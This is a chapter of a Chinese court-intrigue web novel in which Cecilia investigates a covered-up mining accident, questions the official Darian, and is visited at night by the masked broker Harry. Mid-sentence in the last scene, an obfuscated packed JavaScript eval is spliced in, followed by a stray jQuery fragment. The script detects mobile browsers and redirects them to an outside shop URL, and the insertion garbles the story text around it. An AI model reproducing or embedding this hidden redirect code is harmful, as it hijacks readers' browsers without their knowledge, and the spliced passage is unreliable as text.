“不过出发之前,我们最好换套衣服。”

    塞西莉亚走回书桌,从一沓报告中抽出几页,扫了一眼放回了原处。

    夜幕四合,炊烟袅袅,马蹄声敲击残雪,两人沿着宽阔的城中大街向西疾驰而去。

    两套粗布麻衣替代了贵族小姐的长裙与内政官黑色军装。

    低矮的棚户区混乱黑暗,塞西莉亚下了马,污水从她脚下蜿蜒流淌。

    达利安用自己的身体隔开人流,尽量不让那些好奇的、看热闹的、不怀好意的目光投射到塞西莉亚身上。

    塞西莉亚专注地辨认方向,不合身的长裙扫过污雪,她却毫不在意。

    这里黑暗一片,几乎没有照明的烛火,只能凭着月色分辨方向。

    不知从何处传来几声犬吠,紧接着远近的狗相继嚎叫起来,穿插着孩子的哭闹声、夫妻的吵架声、窃窃私语声、病痛者一声连着一声的呻吟声……组成了暗夜喧闹的背景板。

    两人在一户低矮的小木房前停下,一只苍老、干瘪的手颤抖着打开了破败的木门。

    “我们是金锡矿场的,您儿子的工友。”塞西莉亚郑重压低了声线,面色严肃,“对您儿子的遭遇我们感到万分同情与抱歉。”

    达利安瞬间想起了刚刚整理的一沓资料里,有关于月前多处矿场事故的报告,其中关于罹难者家属信息部分,只有零星记载。

    而塞西莉亚就是凭那些只言片语准确地找到了这里。

    月色昏暗难辨,达利安的瞳孔中却清晰地倒映着褪去华服的贵族少女。

    老人双眼浑浊看不清来人,在塞西莉亚真挚诚恳的询问中哽咽了嗓音。

    “他们说是意外……可是我的儿子很结实……是,特别……特别瘦,早晨还好好的,一下子脱了,脱了相似的……”

    刺骨的寒意从四面漏风的板材缝灌了进来,塞西莉亚唇边呵出了白气,冷得止不住地发抖,但她的目光却远比冬夜更冷。

    马蹄声再次响起,达利安的视线不由自主地追着那道身影。

    她不信那些报告上冰冷的数字,她要亲自去听亲眼去看。

    达利安垂下眼睫,那个任性的、善用权势的萨利曼大小姐形象正在他的心中瓦解,正以一种全新方式诠释出萨利曼真正的领主姿态。

    骏马重新返回市集,灯火的温暖驱散了雪夜的霜寒。

    途经一条还算规整的商业街时,塞西莉亚利落翻身下马。一间挂着锤头铁锹的酒馆招牌在风中轻晃,酒馆里人声喧闹,热闹非常,达利安随着她进入酒馆。

    他不会去质疑她贵族小姐出现在市井是否妥帖,从污秽的棚户区开始,他知道这一切都是她计划中的一部分,包括所谓的“共进晚餐”。

    一进门,热气扑面而来,香料、麦酒与烟草的味道一下子占据了鼻尖。

    木质菜单上可选品种并不多,炖肉和黑面包是店主首推。

    他们在角落里一个不显眼的位置坐下,塞西莉亚取下兜帽,整个人隐入烛火照不到的阴影中。

    昏黄的烛光笼罩着达利安,顺带着连他锐利的眉眼都柔和了几分。

    越过酒馆内吵闹的人声,他听到了远处温柔旖旎的歌声,像是情人月下的倾吐。

    塞西莉亚的目光扫过周围开怀畅饮的工匠,掠过忙碌灵活的小伙计,最后落在黑发青年线条冷峻的脸上。她的声音湮没在热闹的人声里,却刚好能清楚地落入达利安耳中。

    “达利安,那几起事故你是知道的吧?”

    达利安的心头猛地一跳,眼中闪过一丝惊诧,严肃的军官紧抿着唇,权衡着这是否属于奥维斯公爵指派的“协助”范畴。

    他想不通,自己的调查极为隐秘,连一向聪慧的梅林夫人都未曾察觉,她又是怎么知道的?

    塞西莉亚安静的眸子凝视着他,心底慢慢有了答案。她并不能确定达利安知晓详情,只是诈他一下,对方的沉默远比任何语言更让她笃信无疑。

    “让我来猜猜看……”她将脑海中成型的推断慢条斯理地讲述出来,目光如炬,“事故发生后,一份看似详实、逻辑上无可挑剔的调查报告呈上奥维斯公爵的案头。但敏锐的大公立马就发现了藏在字里行间的遮掩与诡计,所以委派一位他足够信任的得力助手来秘密调查。”

    小伙计这时送来了食物,塞西莉亚停顿了一下,目送着他的身影离去。

    炖肉在石板上咕嘟咕嘟冒泡,软糯的黑面包散发出诱人的香气,雾气缭绕中,塞西莉亚话音继续。

    “事故极其简单,但这位调查官此时却犯了难,他完全理解了负责人当初交上去的那份报告,搪塞是处理这件事最好的手段。”

    她瞥见他握着刀叉的指节捏紧,知道自己切中了要害,随即身体前移,对这位严苛的内政官乘胜追击,“但他忠诚正直,如实上报了大公,大公最终按下了事实,但这件事却像根刺始终留在了调查官的心里。”

    达利安唇线紧绷,眼眸愈来愈冷。

    “因为在他的调查里,一直被遇难者拥护爱戴的领主竟是杀害他们的真正凶手。”她的质询冰凉似铁,像一把刀子狠狠扎在达利安的心上,“所以他们掩埋的真相是什么?”

    话音落下,桌上炖肉的咕嘟声瞬间消失了。

    达利安僵在原地,那些他曾以为彻底埋葬的真相正在被人直言不讳地挑开,胸腔中那颗始终忠诚于萨利曼的心,正因为塞西莉亚的话而发出震耳欲聋的轰鸣声。

    “恕我无可奉告,小姐。这与明日的负责人大会无关,不在协助范围之内。”长久的沉默后,达利安三缄其口,始终守口如瓶。

    塞西莉亚不再强迫于他,两人安静用完了晚餐。

    分别时,塞西莉亚叫住了他。

    皎洁月光下,塞西莉亚慢慢踮起脚,向着达利安的脸伸出手。

    青年身形猛地僵滞了一下,随即向后退了一步避开少女柔软的手,冷眼看着她,寒风填满了两人之间陡然拉开的距离。

    塞西莉亚的手在空中停顿了一下,最终只是轻柔地拂去落在他肩上的灰尘。

    “明天见,达利安·菲尔德内政官。”

    青年挺拔的身影消失在浓郁的夜色之中,塞西莉亚看向自己的指尖,目光冰冷。

    果然,这种伎俩不是谁都管用的。

    达利安·菲尔德,作为奥维斯的得力心腹之一,有拉拢的必要,之后不在圣斯卢奥的日子,他将成为她在奥维斯身边唯一的助力。

    暗夜渐深,尖顶高楼上,塞西莉亚的卧房里灯火长明。

    风声咆哮,刮得窗外树木东倒西歪,树枝疯狂地抽打在窗户上,劈啪作响。

    卡萝轻手轻脚地锁上了窗户,替挑灯夜读的塞西莉亚披上一件柔软保暖的斗篷。

    她正沉浸在文稿中,头也没抬,专注的侧脸在火光中圣洁而柔美。

    卡萝提起了茶壶,替她斟上一杯热茶。茶壶已经见底,她提着壶最后扫了一眼塞西莉亚,默默退了出去。

    耳畔的风声短暂地放大后逐渐恢复到之前的势头,壁炉火光正盛,驱尽了房中的寒气。

    塞西莉亚伏在桌上,手中的笔写写停停,进行着最后一遍的复盘。

    长长的黑发柔顺妥帖,披散在身后,又随着她的俯身从白色丝质睡裙上滑落。

    火光温暖,困意扰人,零点的钟声刚刚响起,塞西莉亚轻轻地打了个哈欠,眼角逼出了点点泪水,她随手端起茶杯,一双眼熟的黑色筒靴猝不及防地闯进了视野里。

    她整个人僵了一下,汗毛倒竖。不是城堡的卫兵,卡萝已经出去了,这个时间不会有任何人出现在她的房间。

    尖叫就卡在喉咙里,她死死咬住下唇才能把它吞回去。

    然而她的指尖却不受控制地抖了一下,杯底与茶托发出一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775038|209297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    声细微的磕碰声。

    她听到了,她确信他也听到了。

    那双靴子没有动。

    塞西莉亚强迫自己稳住心神,视线沿着筒靴向上攀移——

    筒靴,深色长裤,黑色长袍搭在肩上,火光为那张标志性的银面具镀上一层暖金色。

    对方的嘴角在触及她目光之前早已向上勾起,碧蓝色的眼睛如一汪危险的海。

    “您似乎总喜欢深夜到访,”塞西莉亚压着嗓子,她的声音听上去有些喑哑,然而夜色的朦胧却让她的语气变了味儿,落在温暖的火光里裹上了一层暧昧的糖衣,“像您这样擅自闯入淑女房间,我可以指控你意图不轨,判处你死刑。”

    “抱歉,处理了一点小麻烦。”他无奈地摊开手。

    虽然这麻烦是她惹起的,那位手段狠辣的王庭书记官发了疯似地要找到她,一天之内把圣斯卢奥掀了个底朝天,就差掘地三尺了。

    但眼前骄傲的大小姐,显然还没有意识到自己的处境岌岌可危。

    “麻烦?”塞西莉亚低声重复了一遍,握着茶杯的指尖微微收紧,语气不善,“您多重身份引起的麻烦吗?”

    “正如您所说,”他摊了摊手,“一个有能力的情报贩子需要这么多身份来匹配不同的场合,毕竟……”

    他指尖轻敲了两下银面具,“哒哒”的脆响被炭火爆裂声吞没,“戴着这东西站在您面前的只能是情报贩子哈里。”

    “这也是您选中我的原因不是吗?”

    塞西莉亚凝眸看他,第一次发现自己跟他合作的理由是如此不堪推敲。

    除非他想要的东西只有她能拿到,否则她想象不出眼前这个男人为什么会选她。

    情报贩子哪有值得信赖的地方,他们狡诈、多疑,纵然是同盟、是交易,也绝不会公平公正。她真该呼叫卫兵,让他们将他擒下,送他去下地狱!

    她暗示自己平静下来:“能让您这么一位大人物深夜亲自处理的麻烦,想必不是普通的‘小麻烦’吧?”

    她将茶水搁在桌上,缓缓向后靠进沙发,柔软的丝绒温柔地贴合着腰肢,她的状态看起来松弛而从容,但那双黑色的眼睛却始终警惕着对方,“听闻王庭书记官正在全城搜索什么人,哈里大人不会恰好知道什么吧?”

    哈里闻言低低地笑起来。

    瞧啊,乏味到如同一汪死水的生活里终于出现了一抹调味剂,这哪里是什么试探,分明是明目张胆的审讯了。

    他忽然近前一步,俯身撑在她书桌的边缘,收起了笑,眼神格外凌厉。

    塞西莉亚的脸一下子在眼前放大。

    烛光在她眼中摇曳不止,壁炉的火光跳动得更为剧烈,高大的身影投在塞西莉亚身上,无形的压迫感完全笼罩了她。

    “猜猜看,塞西莉亚。”他没有正面回答,视线扫过她桌上的文稿后重新落回她的脸上,声音冰冷,“天底下竟然有这样的事,有人从地狱里爬回来,想要复仇……那个书记官,耐心可没有我这么好。”

    塞西莉亚的心一沉。

    他知道了。

    他没有点破她,是在试探她、点拨她、警告她,还是企图让她露出破绽自乱阵脚?

    她向前倾身,迎着他俯身的姿势微微仰脸,两人鼻尖几乎相碰。

    “那么哈里先生,您此刻出现在这里是来耀武扬威,还是……”她直直望进他的眼睛里,不躲不避,“还是选择成为共犯,来宣誓你的忠诚?”

    烛火在她眸中跳动,像蓬勃燃起的两簇火苗,让人忍不住想伸手掐灭。

    不错,就是这样!

    兴奋感在血液中游走,他的视线从她眼睛往下,划过唇瓣,停在白皙的脖子上。

    纤细、柔弱,看起来不堪一握,只要稍稍用力……

    哈里猛地移开了视线,抽身后退半步,喉咙干渴似火。

    ……该死。